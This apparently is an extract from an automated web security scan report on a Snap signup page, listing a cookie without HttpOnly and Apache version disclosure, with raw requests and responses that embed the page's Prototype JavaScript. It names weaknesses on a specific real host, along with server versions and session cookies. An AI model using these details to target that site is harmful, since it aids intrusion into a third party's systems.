function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-for..
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /signup.php

/signup.php CONFIRMED

https://account.snap.com/signup.php

Identified Cookie

PHPSESSID

Request

GET /signup.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 26 Apr 2011 01:49:50 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=b22fd118a47c0aaaa7b8abd9895264bc; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = Object.extend(new Ajax.Base(), { initialize: function(url, options) { this.transport = Ajax.getTransport(); this.setOptions(options); this.request(url); }, request: function(url) { var parameters = this.options.parameters || ''; // XXX: commented out by Barry because he has no concept of how this could be relevant (03/02/2006) // if (parameters.length > 0) parameters += '&_='; try { this.url = url; if (this.options.method == 'get' && parameters.length > 0) this.url += (this.url.match(/\?/) ? '&' : '?') + parameters; Ajax.Responders.dispatch('onCreate', this, this.transport); this.transport.open(this.options.method, this.url, this.options.asynchronous); if (this.options.asynchronous) { this.transport.onreadystatechange = this.onStateChange.bind(this); setTimeout((function() {this.respondToReadyState(1)}).bind(this), 10); } this.setRequestHeaders(); var body = this.options.postBody ? this.options.postBody : parameters; this.transport.send(this.options.method == 'post' ? body : null); } catch (e) { this.dispatchException(e); } }, setRequestHeaders: function() { var requestHeaders = ['X-Requested-With', 'XMLHttpRequest', 'X-Prototype-Version', Prototype.Version]; if (this.options.method == 'post') { requestHeaders.push('Content-type', 'application/x-www-for..
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /signup.php

/signup.php

https://account.snap.com/signup.php

Extracted Version

2.2.14 (Unix)

Request

GET /signup.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: account.snap.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 26 Apr 2011 01:49:50 GMT
Server: Apache/2.2.14 (Unix) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.7d PHP/5.2.8
X-Powered-By: PHP/5.2.8
Set-Cookie: PHPSESSID=1b215a7294b3dc6456676d0a5601c791; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Snap Account Signup</title><link rel="stylesheet" type="text/css" href="styles/account.css" /><script type="text/javascript" src="javascript/tab.js"></script><script type='text/javascript'>function toggle_section(num) { si = document.getElementById('section_'+num+'_img'); sd = document.getElementById('section_'+num+'_div'); sm = document.getElementById('section_'+num+'_more'); if (si.src.indexOf('/images/icon-more.gif') >= 0) { sd.style.display = 'inline'; sm.style.display = 'none'; si.src = '/images/icon-less.gif'; } else { sd.style.display = 'none'; sm.style.display = 'inline'; si.src = '/images/icon-more.gif'; }}</script></head><body><div id="shell">
<div id="topbar">
<div id="logo">
<a href="/"><img src="/images/topbar-logo.gif" alt="Snap Shots" title="Snap Shots" /></a>
</div>
<div id="toplinks">
Not logged in | <a href="/login.php">Log In</a> | <a href="http://snap.com/snapshots_faq.php">Help</a> </div>
</div>
<script>var currentTab = 'customize';</script><div id="tip1" class="tooltip">With this option enabled, a small icon will be added at <br />the end of your active links, signaling to your users <br />which of your links have Snap Shots and which do not.</div> <div id="tip2" class="tooltip">With this option enabled, the trigger hot-zone for the Snap Shots <br />will be limited to the link icon only, which in turn will decrease <br />the chances of your users accidentally triggering Snap Shots.</div><div id="tip3" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on your own site. Not recommended for sites <br />where all pages look the same, unless they have RSS.</div><div id="tip4" class="tooltip">With this option enabled, all Shots on your site will be displayed <br />as the default thumbnail screen-capture. Selecting this option <br />severely limits the level of interactivity of Snap Shots.</div><div id="tip5" class="tooltip">With this option enabled, Snap Shots will be enabled for links <br />pointing to pages on other sites.</div><script type="text/javascript">/* Prototype JavaScript framework, version 1.4.0 * (c) 2005 Sam Stephenson <sam@conio.net> * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://prototype.conio.net/ */*--------------------------------------------------------------------------*/var Prototype = { Version: '1.4.0', ScriptFragment: '(?:<script.*?>)((\n|\r|.)*?)(?:<\/script>)', emptyFunction: function() {}, K: function(x) {return x}}var Class = { create: function() { return function() { this.initialize.apply(this, arguments); } }}var Abstract = new Object();Object.extend = function (destination, source) { for (property in source) { destination[property] = source[property]; } return destination;}Object.inspect = function(object) { try { if (object == undefined) return 'undefined'; if (object == null) return 'null'; return object.inspect ? object.inspect() : object.toString(); } catch (e) { if (e instanceof RangeError) return '...'; throw e; }}/*** XXX: the default prototype bind leaks memory like a sieve *** XXX: see prototype_extensions.js for the safe version */Function.prototype.bind = function() { var __method = this, args = $A(arguments), object = args.shift(); return function() { return __method.apply(object, args.concat($A(arguments))); }}/***/Function.prototype.bindAsEventListener = function(object) { var __method = this; return function(event) { return __method.call(object, event || window.event); }}Object.extend(Number.prototype, { toColorPart: function() { var digits = this.toString(16); if (this < 16) return '0' + digits; return digits; }, succ: function() { return this + 1; }, times: function(iterator) { $R(0, this, true).each(iterator); return this; }});var Try = { these: function() { var returnValue; for (var i = 0; i < arguments.length; i++) { var lambda = arguments[i]; try { returnValue = lambda(); break; } catch (e) {} } return returnValue; }}/*** SnapShot ***/SnapShot = Class.create();Object.extend(SnapShot.prototype, { initialize: function () { this.time = new Array(); }, store: function () { var index = this.time.length; this.time[index] = new Date();// this.time[index].start_time = new Date(); }, reset: function () { this.time = new Array(); }, // the elapsed time of the watch. if the watch hasn't been stopped, get the time that has elapsed so far peek: function () { }, alert: function () { window.alert(this.peek()); }});MultiSnapShot = Class.create();Object.extend(MultiSnapShot.prototype, { initialize: function() { this.watches = {}; }, store: function(w) { if (! this.watches[w]) this.watches[w] = new SnapShot(); this.watches[w].store(); }, reset_all: function() { this.watches = {}; }, output: function() { str = ''; for (var w in this.watches) { if (typeof w != 'function') { for (var i = 0; i < this.watches[w].time.length; i++) { str += '&'+w+'_'+i+'='+this.watches[w].time[i].getTime(); } } } return str; }});/*--------------------------------------------------------------------------*/var PeriodicalExecuter = Class.create();PeriodicalExecuter.prototype = { initialize: function(callback, frequency) { this.callback = callback; this.frequency = frequency; this.currentlyExecuting = false; this.registerCallback(); }, registerCallback: function() { setInterval(this.onTimerEvent.bind(this), this.frequency * 1000); }, onTimerEvent: function() { if (!this.currentlyExecuting) { try { this.currentlyExecuting = true; this.callback(); } finally { this.currentlyExecuting = false; } } }}/*--------------------------------------------------------------------------*/function $() { var elements = new Array(); for (var i = 0; i < arguments.length; i++) { var element = arguments[i]; if (typeof element == 'string') element = document.getElementById(element); if (arguments.length == 1) return element; elements.push(element); } return elements;}Object.extend(String.prototype, { stripTags: function() { return this.replace(/<\/?[^>]+>/gi, ''); }, stripScripts: function() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); }, extractScripts: function() { var matchAll = new RegExp(Prototype.ScriptFragment, 'img'); var matchOne = new RegExp(Prototype.ScriptFragment, 'im'); return (this.match(matchAll) || []).map(function(scriptTag) { return (scriptTag.match(matchOne) || ['', ''])[1]; }); }, evalScripts: function() { return this.extractScripts().map(eval); },/* escapeHTML: function() { var div = document.createElement('div'); var text = document.createTextNode(this); div.appendChild(text); return div.innerHTML; }, *//* unescapeHTML: function() { var div = document.createElement('div'); div.innerHTML = this.stripTags(); return div.childNodes[0] ? div.childNodes[0].nodeValue : ''; }, */ toQueryParams: function() { var pairs = this.match(/^\??(.*)$/)[1].split('&'); return pairs.inject({}, function(params, pairString) { var pair = pairString.split('='); params[pair[0]] = pair[1]; return params; }); }, toArray: function() { return this.split(''); }, camelize: function() { var oStringList = this.split('-'); if (oStringList.length == 1) return oStringList[0]; var camelizedString = this.indexOf('-') == 0 ? oStringList[0].charAt(0).toUpperCase() + oStringList[0].substring(1) : oStringList[0]; for (var i = 1, len = oStringList.length; i < len; i++) { var s = oStringList[i]; camelizedString += s.charAt(0).toUpperCase() + s.substring(1); } return camelizedString; }, inspect: function() { return "'" + this.replace('\\', '\\\\').replace("'", '\\\'') + "'"; }});String.prototype.parseQuery = String.prototype.toQueryParams;var $break = new Object();var $continue = new Object();var Enumerable = { each: function(iterator) { var index = 0; try { this._each(function(value) { try { iterator(value, index++); } catch (e) { if (e != $continue) throw e; } }); } catch (e) { if (e != $break) throw e; } }, all: function(iterator) { var result = true; this.each(function(value, index) { result = result && !!(iterator || Prototype.K)(value, index); if (!result) throw $break; }); return result; }, any: function(iterator) { var result = true; this.each(function(value, index) { if (result = !!(iterator || Prototype.K)(value, index)) throw $break; }); return result; }, collect: function(iterator) { var results = []; this.each(function(value, index) { results.push(iterator(value, index)); }); return results; }, detect: function (iterator) { var result; this.each(function(value, index) { if (iterator(value, index)) { result = value; throw $break; } }); return result; }, findAll: function(iterator) { var results = []; this.each(function(value, index) { if (iterator(value, index)) results.push(value); }); return results; },/* grep: function(pattern, iterator) { var results = []; this.each(function(value, index) { var stringValue = value.toString(); if (stringValue.match(pattern)) results.push((iterator || Prototype.K)(value, index)); }) return results; }, */ include: function(object) { var found = false; this.each(function(value) { if (value == object) { found = true; throw $break; } }); return found; }, inject: function(memo, iterator) { this.each(function(value, index) { memo = iterator(memo, value, index); }); return memo; },/* invoke: function(method) { var args = $A(arguments).slice(1); return this.collect(function(value) { return value[method].apply(value, args); }); }, */ max: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value >= (result || value)) result = value; }); return result; }, min: function(iterator) { var result; this.each(function(value, index) { value = (iterator || Prototype.K)(value, index); if (value <= (result || value)) result = value; }); return result; }, partition: function(iterator) { var trues = [], falses = []; this.each(function(value, index) { ((iterator || Prototype.K)(value, index) ? trues : falses).push(value); }); return [trues, falses]; }, pluck: function(property) { var results = []; this.each(function(value, index) { results.push(value[property]); }); return results; }, reject: function(iterator) { var results = []; this.each(function(value, index) { if (!iterator(value, index)) results.push(value); }); return results; },/* sortBy: function(iterator) { return this.collect(function(value, index) { return {value: value, criteria: iterator(value, index)}; }).sort(function(left, right) { var a = left.criteria, b = right.criteria; return a < b ? -1 : a > b ? 1 : 0; }).pluck('value'); }, */ toArray: function() { return this.collect(Prototype.K); }, zip: function() { var iterator = Prototype.K, args = $A(arguments); if (typeof args.last() == 'function') iterator = args.pop(); var collections = [this].concat(args).map($A); return this.map(function(value, index) { iterator(value = collections.pluck(index)); return value; }); }, inspect: function() { return '#<Enumerable:' + this.toArray().inspect() + '>'; }}Object.extend(Enumerable, { map: Enumerable.collect, find: Enumerable.detect, select: Enumerable.findAll, member: Enumerable.include, entries: Enumerable.toArray});var $A = Array.from = function(iterable) { if (!iterable) return []; if (iterable.toArray) { return iterable.toArray(); } else { var results = []; for (var i = 0; i < iterable.length; i++) results.push(iterable[i]); return results; }}Object.extend(Array.prototype, Enumerable);Array.prototype._reverse = Array.prototype.reverse;Object.extend(Array.prototype, { _each: function(iterator) { for (var i = 0; i < this.length; i++) iterator(this[i]); }, clear: function() { this.length = 0; return this; }, first: function() { return this[0]; }, last: function() { return this[this.length - 1]; }, compact: function() { return this.select(function(value) { return value != undefined || value != null; }); }, flatten: function() { return this.inject([], function(array, value) { return array.concat(value.constructor == Array ? value.flatten() : [value]); }); }, without: function() { var values = $A(arguments); return this.select(function(value) { return !values.include(value); }); }, indexOf: function(object) { for (var i = 0; i < this.length; i++) if (this[i] == object) return i; return -1; }, reverse: function(inline) { return (inline !== false ? this : this.toArray())._reverse(); }, shift: function() { var result = this[0]; for (var i = 0; i < this.length - 1; i++) this[i] = this[i + 1]; this.length--; return result; }, inspect: function() { return '[' + this.map(Object.inspect).join(', ') + ']'; }});var Hash = { _each: function(iterator) { for (key in this) { var value = this[key]; if (typeof value == 'function') continue; var pair = [key, value]; pair.key = key; pair.value = value; iterator(pair); } }, keys: function() { return this.pluck('key'); }, values: function() { return this.pluck('value'); }, merge: function(hash) { return $H(hash).inject($H(this), function(mergedHash, pair) { mergedHash[pair.key] = pair.value; return mergedHash; }); },/* toQueryString: function() { return this.map(function(pair) { return pair.map(encodeURIComponent).join('='); }).join('&'); }, */ inspect: function() { return '#<Hash:{' + this.map(function(pair) { return pair.map(Object.inspect).join(': '); }).join(', ') + '}>'; }}function $H(object) { var hash = Object.extend({}, object || {}); Object.extend(hash, Enumerable); Object.extend(hash, Hash); return hash;}ObjectRange = Class.create();Object.extend(ObjectRange.prototype, Enumerable);Object.extend(ObjectRange.prototype, { initialize: function(start, end, exclusive) { this.start = start; this.end = end; this.exclusive = exclusive; }, _each: function(iterator) { var value = this.start; do { iterator(value); value = value.succ(); } while (this.include(value)); }, include: function(value) { if (value < this.start) return false; if (this.exclusive) return value < this.end; return value <= this.end; }});var $R = function(start, end, exclusive) { return new ObjectRange(start, end, exclusive);}var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject('Msxml2.XMLHTTP')}, function() {return new ActiveXObject('Microsoft.XMLHTTP')}, function() {return new XMLHttpRequest()} ) || false; }, activeRequestCount: 0}Ajax.Responders = { responders: [], _each: function(iterator) { this.responders._each(iterator); }, register: function(responderToAdd) { if (!this.include(responderToAdd)) this.responders.push(responderToAdd); }, unregister: function(responderToRemove) { this.responders = this.responders.without(responderToRemove); }, dispatch: function(callback, request, transport, json) { this.each(function(responder) { if (responder[callback] && typeof responder[callback] == 'function') { try { responder[callback].apply(responder, [request, transport, json]); } catch (e) {} } }); }};Object.extend(Ajax.Responders, Enumerable);Ajax.Responders.register({ onCreate: function() { Ajax.activeRequestCount++; }, onComplete: function() { Ajax.activeRequestCount--; }});Ajax.Base = function() {};Ajax.Base.prototype = { setOptions: function(options) { this.options = { method: 'post', asynchronous: true, parameters: '' } Object.extend(this.options, options || {}); }, responseIsSuccess: function() { return this.transport.status == undefined || this.transport.status == 0 || (this.transport.status >= 200 && this.transport.status < 300); }, responseIsFailure: function() { return !this.responseIsSuccess(); }}Ajax.Request = Class.create();Ajax.Request.Events = ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];Ajax.Request.prototype = 